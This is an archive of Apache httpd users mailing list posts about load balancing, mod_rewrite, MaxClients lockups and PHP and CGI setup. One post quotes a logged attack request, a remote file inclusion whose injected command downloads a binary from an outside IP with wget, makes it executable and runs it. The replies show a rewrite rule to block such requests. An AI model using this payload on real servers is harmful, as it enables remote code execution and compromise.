RE: [EMAIL PROTECTED] Soft. Load Balancer Recommendations
Check out http://www.linuxvirtualserver.org/ Khai From: "James Wuerflein" <[EMAIL PROTECTED]> Reply-To: users@httpd.apache.org To: Subject: [EMAIL PROTECTED] Soft. Load Balancer Recommendations Date: Sun, 19 Feb 2006 17:26:09 -0600 I'm looking for a software load balancer solution where I could do 1 to many backend webservers, and also have the option to maintain some session persistance with jsession? Additionally, would like to be able to do many proxy or load balancers to many backend webservers or application servers. Is there anything avail. with no other 3rd party Apache modules to do that? Does anyone have any suggestions on solutions that have worked well for them? Thanks __ This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager. Katun Corporation -- www.katun.com _ - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] Warning message on Solaris
Hi, I am using Apache 2.0.55 on Solaris 8. When I try to listen on the port which is already in use, I get the message - "Address already in use: make_sock: could not bind to address ..." on the console as well as in error_log on Linux, Windows, HP-UX. But I am not getting this message on Solaris 8. Can anybody tell me what could be the reason? Thanks & Regards, Tejas Sanghavi.http://www.patni.com World-Wide Partnerships. World-Class Solutions. _ This e-mail message may contain proprietary, confidential or legally privileged information for the sole use of the person or entity to whom this message was originally addressed. Any review, e-transmission dissemination or other use of or taking of any action in reliance upon this information by persons or entities other than the intended recipient is prohibited. If you have received this e-mail in error kindly delete this e-mail from your records. If it appears that this mail has been forwarded to you without proper authority, please notify us immediately at [EMAIL PROTECTED] and delete this mail. _
Re: [EMAIL PROTECTED] Soft. Load Balancer Recommendations
Hi, On Son 19.02.2006 17:26, James Wuerflein wrote: I'm looking for a software load balancer solution where I could do 1 to many backend webservers, and also have the option to maintain some session persistance with jsession? Additionally, would like to be able to do many proxy or load balancers to many backend webservers or application servers. Is there anything avail. with no other 3rd party Apache modules to do that? Does anyone have any suggestions on solutions that have worked well for them? http://w.ods.org/tools/haproxy/ --- Here are the latest production versions of HA-proxy, a free, reliable high-performance TCP/HTTP load balancer. Packages are provided for RedHat Enterprise Linux 3.0 (x86) and Formilux 0.1.8. Generic linux-i586 and Solaris8-ultrasparc binaries are also provided. Other platforms should use sources instead. Version 1.1 is the stable one, version 1.2 is nearly the same with a few add-ons, such as support for poll/epoll, IPv6 and application cookies. --- I prefer the 1.2.x version ;-) regards Alex - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] Warning message on Solaris
try lsof -i| grep -w 80 and find which all apache threads is listening on port 80, filter the one which is in question based on name or IP.take the process id from second column of the matching name or IP in question and kill it.start your apache once again...Pls take caution if you are on production box...cheers Tejas Sanghavi <[EMAIL PROTECTED]> wrote: Hi, I am using Apache 2.0.55 on Solaris 8. When I try to listen on the port which is already in use, I get the message - "Address already in use: make_sock: could not bind to address ..." on the console as well as in error_log on Linux, Windows, HP-UX. But I am not getting this message on Solaris 8. Can anybody tell me what could be the reason? Thanks & Regards, Tejas Sanghavi.http://www.patni.com World-Wide Partnerships. World-Class Solutions._ This e-mail message may contain proprietary, confidential or legally privileged information for the sole us e of the person or entity to whom this message was originally addressed. Any review, e-transmission dissemination or other use of or taking of any action in reliance upon this information by persons or entities other than the intended recipient is prohibited. If you have received this e-mail in error kindly delete this e-mail from your records. If it appears that this mail has been forwarded to you without proper authority, please notify us immediately at [EMAIL PROTECTED] and delete this mail. _ Yahoo! Mail Use Photomail to share photos without annoying attachments.
Re: [EMAIL PROTECTED] mod_rewrite directives problem
Shyne wrote: ... RewriteEngine on RewriteCond /help/%(REQUEST_URI) !-d RewriteCond /help/%(REQUEST_URI) !-f RewriteRule ^help/?(.*)$ /help/index.php?id=$1 [L,QSA] - I am not sure if /help/%(REQUEST_URI) points to the right place, but Round parenthesis are wrong, you must use {...}, but consider using RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f - Should it be ^help/ or ^/help/ In per-server context: ^/help/ In order to debug RewriteRules, use a RewriteLog RewriteLog logs/rewrite Rewriteloglevel 5 -- Robert - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite directives problem
Hi Robert Thanks for your answer. I changed the directives according to your input and installed the log. Apparently the directive RewriteCond %{REQUEST_FILENAME} !-f matches requests for existing files, which it should exactly not do. I try to filter out all requests for non existing documents and folders and lead them to my script, but leave the existing stuff untouched. Is there a different way to do the filtering for non existing documents (with leaving what has been entered in the Address Bar unchanged)? Thanks and greetings, Carole. Robert Ionescu wrote: Shyne wrote: ... RewriteEngine on RewriteCond /help/%(REQUEST_URI) !-d RewriteCond /help/%(REQUEST_URI) !-f RewriteRule ^help/?(.*)$ /help/index.php?id=$1 [L,QSA] - I am not sure if /help/%(REQUEST_URI) points to the right place, but Round parenthesis are wrong, you must use {...}, but consider using RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f - Should it be ^help/ or ^/help/ In per-server context: ^/help/ In order to debug RewriteRules, use a RewriteLog RewriteLog logs/rewrite Rewriteloglevel 5 - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: [EMAIL PROTECTED] PHP file not found.
> NameVirtualHost 192.168.1.4:80 > > Argument to NameVirtualHost and must be identical. So either fix your NameVirtualHost, or change your line (I'd suggest the NVH change) Joost - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite directives problem
>Apparently the directive RewriteCond %{REQUEST_FILENAME} !-f matches >requests for existing files, which it should exactly not do. >I try to filter out all requests for non existing documents and folders >and lead them to my script, but leave the existing stuff untouched. !-f says "NOT an existing filename" -f says "is an existing filename" There are "-d" for directories and "-l" for links. If you have all together [ !-f, !-d, (!-l if you are using symlinks) ] than you have exact what you want. bye Oliver -Ursprüngliche Nachricht- Von: Shyne [mailto:[EMAIL PROTECTED] Gesendet: Mo 20.02.2006 13:11 An: users@httpd.apache.org Betreff: Re: [EMAIL PROTECTED] mod_rewrite directives problem Hi Robert Thanks for your answer. I changed the directives according to your input and installed the log. Apparently the directive RewriteCond %{REQUEST_FILENAME} !-f matches requests for existing files, which it should exactly not do. I try to filter out all requests for non existing documents and folders and lead them to my script, but leave the existing stuff untouched. Is there a different way to do the filtering for non existing documents (with leaving what has been entered in the Address Bar unchanged)? Thanks and greetings, Carole. Robert Ionescu wrote: > Shyne wrote: >> >> ... >> >>RewriteEngine on >>RewriteCond /help/%(REQUEST_URI) !-d >>RewriteCond /help/%(REQUEST_URI) !-f >> >>RewriteRule ^help/?(.*)$ /help/index.php?id=$1 [L,QSA] >> >> >> >> >> - I am not sure if /help/%(REQUEST_URI) points to the right place, but > > Round parenthesis are wrong, you must use {...}, but consider using > > RewriteCond %{REQUEST_FILENAME} !-d > RewriteCond %{REQUEST_FILENAME} !-f > >> - Should it be ^help/ or ^/help/ > > In per-server context: ^/help/ > > In order to debug RewriteRules, use a RewriteLog > > RewriteLog logs/rewrite > Rewriteloglevel 5 > - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] <>- The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite directives problem
In the meantime I have found out that the problem was, that the directive needed a physical path in order to operate: RewriteEngine on RewriteCond /data/www/htdocs/mysite%{REQUEST_FILENAME} !-d RewriteCond /data/www/htdocs/mysite%{REQUEST_FILENAME} !-f RewriteRule ^/help?(.*)$ /help/index.php?id=$2 [L,QSA] This finally does the job. Thanks for listening & greetings, Carole. [EMAIL PROTECTED] wrote: Apparently the directive RewriteCond %{REQUEST_FILENAME} !-f matches requests for existing files, which it should exactly not do. I try to filter out all requests for non existing documents and folders and lead them to my script, but leave the existing stuff untouched. !-f says "NOT an existing filename" -f says "is an existing filename" There are "-d" for directories and "-l" for links. If you have all together [ !-f, !-d, (!-l if you are using symlinks) ] than you have exact what you want. bye Oliver -Ursprüngliche Nachricht- Von: Shyne [mailto:[EMAIL PROTECTED]] Gesendet: Mo 20.02.2006 13:11 An: users@httpd.apache.org Betreff: Re: [EMAIL PROTECTED] mod_rewrite directives problem Hi Robert Thanks for your answer. I changed the directives according to your input and installed the log. Apparently the directive RewriteCond %{REQUEST_FILENAME} !-f matches requests for existing files, which it should exactly not do. I try to filter out all requests for non existing documents and folders and lead them to my script, but leave the existing stuff untouched. Is there a different way to do the filtering for non existing documents (with leaving what has been entered in the Address Bar unchanged)? Thanks and greetings, Carole. Robert Ionescu wrote: Shyne wrote: ... RewriteEngine on RewriteCond /help/%(REQUEST_URI) !-d RewriteCond /help/%(REQUEST_URI) !-f RewriteRule ^help/?(.*)$ /help/index.php?id=$1 [L,QSA] - I am not sure if /help/%(REQUEST_URI) points to the right place, but Round parenthesis are wrong, you must use {...}, but consider using RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f - Should it be ^help/ or ^/help/ In per-server context: ^/help/ In order to debug RewriteRules, use a RewriteLog RewriteLog logs/rewrite Rewriteloglevel 5 - The official User-To-User support forum of the Apache HTTP Server Project. See for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite directives problem
Shyne wrote: Apparently the directive RewriteCond %{REQUEST_FILENAME} !-f matches requests for existing files, which it should exactly not do. We were able to analyze the RewriteLog in a German mod_rewrite forum. The problem here was the following: %{REQUEST_FILENAME} did contain the value from %{REQUEST_URI}, namely /help/abc but not the expected and needed full physical path /var/www/help/abc. An URL-based sub-request (LA:U) was able to determine the correct value. -- Robert - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] mod_rewrite problem
I have been having some problems with creating a RewriteRule using mod_rewrite. I keep getting attacks that look like this:GET /cache/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path= http://213.97.113.25/cmd.gif?&cmd=cd%20tmp;wget%20213.97.113.25/giculz;chmod%20744%20giculz;./giculz;echo%20YYY;echo|Now Apache isn't allowing _REQUEST or GLOBALS, which is a good thing, but I would just as soon create a rule that will send them to a customized page warning of the potential repercussions of Hacking, and scare the begeezs out of the script kiddies. I imagine that my rule would look something like this: RewriteRule ^*.(php|cgi|rb|htm|html)? |(_(REQUEST|SERVER|COOKIE)[*]$ YouGo'n2Jail.htmlIs this the correct syntax to get my desired result? This being my first attempt at using rewrite, I haven't been able to get it working at all. The only way that I have seen RewriteRule deployed is in between elements. Is this the only way to do it, or is there a way that you can do it server wide? I have the module loaded, is there anything needed other then the rule and "RewriteEngine on"?Thanks in advance for any help.
Re: [EMAIL PROTECTED] Force/add/append/inject HTML to documents (similar to 'Header append') for no archive
On Feb 19, Nick Kew ([EMAIL PROTECTED]) typed: Nick: On Sunday 19 February 2006 01:50, Eugene wrote: Nick: Nick: But not relevant to the question, unless you have hooks in place Nick: (as in SSI). Nick: Nick: > There's also a 3rd-party module Nick: > called mod_layout that does the trick too. Nick: Nick: I'd point the OP at mod_publisher which, unlike mod_layout, Nick: is markup-aware and won't risk breaking a page (and I'm not Nick: sure how reliably mod_layout can find the right place to insert Nick: contents). Nick: Nick: On the other hand, preprocessing is probably better than any Nick: solution using apache. Nick: Nick: > : Or does someone know of an easy way to append Nick: > : Nick: > : to 100+ files? Nick: Nick: If you have an easy-to-find hook (like the byte sequence "") Nick: just run a global edit, e.g. with perl. I think it's safe to say that if Nick: you can fix it with mod_layout, you can fix it more easily with a Nick: simple perl one-liner. But I'm willing to be proved wrong:-) On Feb 19, Nick Kew ([EMAIL PROTECTED]) typed: Nick: On Sunday 19 February 2006 08:40, [EMAIL PROTECTED] wrote: Nick: > If you use only one page header for all your html files, you Nick: > can then use that one instance for all of the pages on your Nick: > site by including it with something like Nick: > Nick: > Nick: Nick: That would be a very bad solution, several times over. Nick: Nick: Firstly, it means preprocessing. And why would one preprocess Nick: to that rather than to add in the required line directly? Or if Nick: future flexibility is an issue, to add it as SSI which can be enabled/ Nick: disabled at will without breaking the pages? Nick: Nick: Secondly, it loses flexibility. Not just a little, but hugely, because Nick: PHP - unlike SSI or any of the other apache-based solutions - Nick: doesn't run as a filter. Nick: Nick: Thirdly it imposes an extra load on the server. That could be Nick: quite modest, but for any user who has to ask the question Nick: in the first place, it's likely to be very substantial, because he's Nick: unlikely to have the expertise to use PHP without destroying Nick: cacheability. Nick: Nick: > at the top of each html page, where the ... Nick: > section would normally reside. Nick: Nick: How many sites have identical s on all pages? Nick: Nick: > Then, you only need to make one change to the included Nick: > page-head.php file, to affect all the pages on your site. Nick: Nick: SSI would do that more flexibly. As would mod_publisher or Nick: mod_layout, without requiring the pages to be edited in the Nick: first place. Nick: Nick: But as I already said, the best solution is almost certainly Nick: none of the above. Interesting suggestions Nick. I do have mod_include compiled in. Im wonder though if using: DirectoryIndex /cgi-bin/norobots.pl would be easier than a 3rd party module? Have the PERL script do something roughly like: print "Content-type: text/html\n\n"; my $FILE = $ENV{"REQUEST_URI"}; open $FILE or die; while () { if ($_ =~ /<\/head>/) { print "\n"; } print $_; } (of course this is just psudo-code off the top of my head) Not sure what that would do to the server load. Hmmm ... maybe I'll just use PERL to modify to the files like you said above. Thanks Birl Please do not CC me responses to my own posts. I'll read the responses on the list. Archives http://mail-archives.apache.org/mod_mbox/httpd-users/ - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] Getting mod_rewrite working for virtual hosts
After looking through previous threads I thought I had my solution to getting mod_rewrite to work with virtual hosts. Here is the system: Apache/1.3.33 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 PHP/4.3.11 FrontPage/5.0.2.2635 mod_ssl/2.8.22 OpenSSL/0.9.7a Here is what I put into httpd.conf: RewriteEngine on RewriteOptions inherit RewriteRule ^(.*)log[/]?$ http://69.72.241.170:81/pro/admin.pl [P] RewriteRule ^(.*)log/(.*)$ http://69.72.241.170:81/pro/admin.pl?data=$2 [P] I also tried: Options -Indexes RewriteEngine on RewriteOptions inherit RewriteRule ^(.*)log[/]?$ http://69.72.241.170:81/pro/admin.pl [P] RewriteRule ^(.*)log/(.*)$ http://69.72.241.170:81/pro/admin.pl?data=$2 [P] Neither of them works so far. What am I missing? Thanks, Boysenberry boysenberrys.com | habitatlife.com | selfgnosis.com - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: [EMAIL PROTECTED] Why the sudden need to raise MaxClients?
I am having this exact same problem. I'm also using standard debian packages for Apache 2.0.54, and the prefork MPM, except my MaxClients setting is already set to 512. The minute I hit 513 apache2 processes (listed in "ps -C apache2", the server stops responding entirely. Those processes seem to never close. The only way to fix it is to reload Apache via "/etc/init.d/apache2 restart" This is not just happening at normal high-traffic times. Why is httpd not recovering from this gracefully? I would assume that, when using the prefork MPM, as connections close, the processes would close with them, and the server would then be able to respond to new requests. But those child processes never terminate on their own. Is this normal for Apache? If not, what can I do to correct it? -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] Sent: Wednesday, February 08, 2006 12:11 AM To: users@httpd.apache.org Subject: [EMAIL PROTECTED] Why the sudden need to raise MaxClients? We are using Apache 2.0.54 on Debian GNU/Linux (standard Debian packages). The server had been running for several months with absolutely no problems. A couple of days ago, Apache started slowing down, then would eventually stop responding completely. The only way to fix it was to restart Apache. It got to the point that Apache would only stay functional for a few seconds at a time. Watching the Apache logs revealed no unusual activity before the lockup. I discovered the MaxClients setting, which in Debian defaults to 20 for the prefork MPM. I raised it to 100, and the problem went away. I believe the default for this value is normally 256. What would cause this problem all of the sudden? My first thought was a DOS attack. Am I on the right track? --df - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] Getting mod_rewrite working for virtual hosts
Boysenberry Payne wrote: RewriteEngine on RewriteOptions inherit RewriteRule ^(.*)log[/]?$ http://69.72.241.170:81/pro/admin.pl [P] RewriteRule ^(.*)log/(.*)$ http://69.72.241.170:81/pro/admin.pl?data=$2 [P] Neither of them works so far. What am I missing? And what exactly did you request and what was the response from the server (status code)? Also: What is logged in your RewriteLog (needs to be enabled first with RewriteLog logs/rewrite.log Rewriteloglevel 5 Did you restart apache? Anything in your error.log? -- Robert - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] mod_rewrite problem
Tezyn Drasdin wrote: RewriteRule ^*.(php|cgi|rb|htm|html)? |(_(REQUEST|SERVER|COOKIE)[*]$ YouGo' n2Jail.html Is this the correct syntax to get my desired result? The QueryString does not match against the pattern of the RewriteRule, you must use a condition in order to check the QueryString like RewriteEngine on RewriteCond %{QUERY_STRING} (_(REQUEST|SERVER|COOKIE) RewriteRule \.(php|cgi|rb|htm|html)$ - [F] The only way that I have seen RewriteRule deployed is in between elements. Is this the only way to do it, or is there a way that you can do it server wide? You might include it from an external file into each virtualhost or place it into the main server config section while using in a RewriteEngine on RewriteOptions inherit otherwise the rules aren't being processed because the virtualhost overrides the main server config section. Consider the third-party module mod_security instead of mod_rewrite as well. -- Robert - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] Soft. Load Balancer Recommendations
On Sunday 19 February 2006 23:26, James Wuerflein wrote: > I'm looking for a software load balancer solution where I could do 1 to > many backend webservers, and also have the option to maintain some > session persistance with jsession? Additionally, would like to be able > to do many proxy or load balancers to many backend webservers or > application servers. Erm, why not start by telling us what's the matter with Apache's bundled loadbalancing capabilities? It's one of the 'headline' improvements in Apache 2.2, and if it doesn't meet your needs the details would be useful. -- Nick Kew - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] Force/add/append/inject HTML to documents (similar to 'Header append') for no archive
Thankyou for your comments Nick. I will look into the modules you mentioned below. This may not be relevant, but I note in the php manual, php4 and php5 support the concept of handlers. Is this in any way related to filters Nick? # PHP 4 AddHandler php-script php AddType text/html php # PHP 5 AddHandler php5-script php AddType text/html php Keith In theory, theory and practice are the same; In practice they are not. On Sun, 19 Feb 2006, Nick Kew wrote: > To: users@httpd.apache.org > From: Nick Kew <[EMAIL PROTECTED]> > Subject: Re: [EMAIL PROTECTED] Force/add/append/inject HTML to documents > (similar > to 'Header append') for no archive > > On Sunday 19 February 2006 08:40, [EMAIL PROTECTED] wrote: > > If you use only one page header for all your html files, you > > can then use that one instance for all of the pages on your > > site by including it with something like > > > > > > That would be a very bad solution, several times over. > > Firstly, it means preprocessing. And why would one preprocess > to that rather than to add in the required line directly? Or if > future flexibility is an issue, to add it as SSI which can be enabled/ > disabled at will without breaking the pages? > > Secondly, it loses flexibility. Not just a little, but hugely, because > PHP - unlike SSI or any of the other apache-based solutions - > doesn't run as a filter. > > Thirdly it imposes an extra load on the server. That could be > quite modest, but for any user who has to ask the question > in the first place, it's likely to be very substantial, because he's > unlikely to have the expertise to use PHP without destroying > cacheability. > > > at the top of each html page, where the ... > > section would normally reside. > > How many sites have identical s on all pages? > > > Then, you only need to make one change to the included > > page-head.php file, to affect all the pages on your site. > > SSI would do that more flexibly. As would mod_publisher or > mod_layout, without requiring the pages to be edited in the > first place. > > But as I already said, the best solution is almost certainly > none of the above. > > -- > Nick Kew > > - > The official User-To-User support forum of the Apache HTTP Server Project. > See http://httpd.apache.org/userslist.html> for more info. > To unsubscribe, e-mail: [EMAIL PROTECTED] >" from the digest: [EMAIL PROTECTED] > For additional commands, e-mail: [EMAIL PROTECTED] > > - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] virtual host cgi config
is this configuration ok to run cgi scripts. - ServerAlias domain.com ServerAdmin [EMAIL PROTECTED] DocumentRoot /home/mine/public_html BytesLog domlogs/mine.com-bytes_log ServerName www.domain.com User mine Group mine CustomLog /usr/local/apache/domlogs/mine.com combined AddHandler cgi-script .cgi .html ScriptAlias /cgi-bin/ /home/mine/public_html/cgi-bin/ - Regards Azeem - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] virtual host cgi config
On Monday 20 February 2006 18:13, azeem ahmad wrote: > is this configuration ok to run cgi scripts. Looks like you may be looking for suexec. Check its doumentation. -- Nick Kew - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] Why the sudden need to raise MaxClients?
On 2/20/06, Sage Weaver <[EMAIL PROTECTED]> wrote: > I am having this exact same problem. I'm also using standard debian > packages for Apache 2.0.54, and the prefork MPM, except my MaxClients > setting is already set to 512. > > The minute I hit 513 apache2 processes (listed in "ps -C apache2", the > server stops responding entirely. Those processes seem to never close. > The only way to fix it is to reload Apache via "/etc/init.d/apache2 > restart" Well, "standard debian packages" mean nothing to me. And given the fact that it is being reported by two debian users, I suspect it is something in there that is causing the problem. What you are reporting is certainly not normal behavior. You can use mod_status's server-status handler to at least see what the processes are doing. Joshua. - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] Alias'es for each User
Hello guys, I get today a 'aliasname' defined in a Virtual Host and this is working fine, like this : Directory Structure /home/website/public_html <--> DocumentRoot <--> http://hostname/ /home/website/aliasname <--> Alias Definition <--> http://hostname/aliasname .. and this is the piece of code defining the 'aliasname'. Alias /aliasname "/home/website/aliasname/" Options Indexes FollowSymLinks MultiViews AllowOverride None Order allow,deny Allow from all As you can see, I put aliasname and public_html directories on the same level for some security reasons and this is the reason why I am using an alias definition. Now I would like to configure this on another server where I get many users for which I would like to give the opportunity to get this same aliasname defined but this doesn't work until now. So my directory structure would be something like this : /home/User1/public_html aliasname User2/public_html aliasname ... ... -> I defined the virtual host -> mod_userdir module with this config UserDir public_html AllowOverride FileInfo AuthConfig Limit Indexes Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec Order allow,deny Allow from all Order deny,allow Deny from all but how can I define my 'aliasname' so that it will be available for each user ? Thanks to help me. Vincent. - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] INFLATE filter and content decompression
On Monday 20 February 2006 19:30, Shane wrote: > Any assistance greatly appreciated, Isn't that one of the examples on the mod_filter page? -- Nick Kew - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: [EMAIL PROTECTED] Why the sudden need to raise MaxClients?
Thanks for the reply -- at least knowing this is abnormal is a step in the right direction. By "standard debian packages," I mean I am using unmodified packages from the stable distribution of debian; no backports, no recompiled packages. The package version is 2.0.54-5, which is the latest version available from the official debian stable repository. I would implement mod_status, except that once MaxClients is reached, won't mod_status be useless, since it relies on being able to serve a page via HTTP? Or will mod_status work regardless? -Original Message- From: [EMAIL PROTECTED] [mailto:[EMAIL PROTECTED] On Behalf Of Joshua Slive Sent: Monday, February 20, 2006 12:35 PM To: users@httpd.apache.org Subject: Re: [EMAIL PROTECTED] Why the sudden need to raise MaxClients? On 2/20/06, Sage Weaver <[EMAIL PROTECTED]> wrote: > I am having this exact same problem. I'm also using standard debian > packages for Apache 2.0.54, and the prefork MPM, except my MaxClients > setting is already set to 512. > > The minute I hit 513 apache2 processes (listed in "ps -C apache2", the > server stops responding entirely. Those processes seem to never close. > The only way to fix it is to reload Apache via "/etc/init.d/apache2 > restart" Well, "standard debian packages" mean nothing to me. And given the fact that it is being reported by two debian users, I suspect it is something in there that is causing the problem. What you are reporting is certainly not normal behavior. You can use mod_status's server-status handler to at least see what the processes are doing. Joshua. - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
Re: [EMAIL PROTECTED] Why the sudden need to raise MaxClients?
On 2/20/06, Sage Weaver <[EMAIL PROTECTED]> wrote: > Thanks for the reply -- at least knowing this is abnormal is a step in > the right direction. > > By "standard debian packages," I mean I am using unmodified packages > from the stable distribution of debian; no backports, no recompiled > packages. The package version is 2.0.54-5, which is the latest version > available from the official debian stable repository. Still doesn't help me. How does it differ from the version distributed from httpd.apache.org? What patches are in there? What modules are in use. > > I would implement mod_status, except that once MaxClients is reached, > won't mod_status be useless, since it relies on being able to serve a > page via HTTP? Or will mod_status work regardless? If all the server processes are really locked up at this point then you won't be able to get to server-status. But you should be able to see somewhat before the lockup point that processes are getting stuck. Joshua. - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
[EMAIL PROTECTED] Apache 2.0 PHP5.0.4 on Fedora Core 4
Good evening, I wonder if anyone can help me with a apache2.0 config relating to PHP on Fedora core4. I have Apache reading the php.conf file on start up, but when I point my browser to the file instead of displaying the processed file to the browser I get the php script displayed as if apache has not detected it needs to be run by the php module and just prints the script to the screen instead. Anyone any ideas, come across this before? Is it not an apache issue? PS I am using Apache as the front end on my server and it is configured with Mod_JK to a Tomcat server in the back ground for jsp and servlets, I am trying to now integrate oscommerce which uses php with it, hence new problems!!! - The official User-To-User support forum of the Apache HTTP Server Project. See http://httpd.apache.org/userslist.html> for more info. To unsubscribe, e-mail: [EMAIL PROTECTED] " from the digest: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED]
RE: [EMAIL PROTECTED] Apache 2.0 PHP5.0.4 on Fedora Core 4
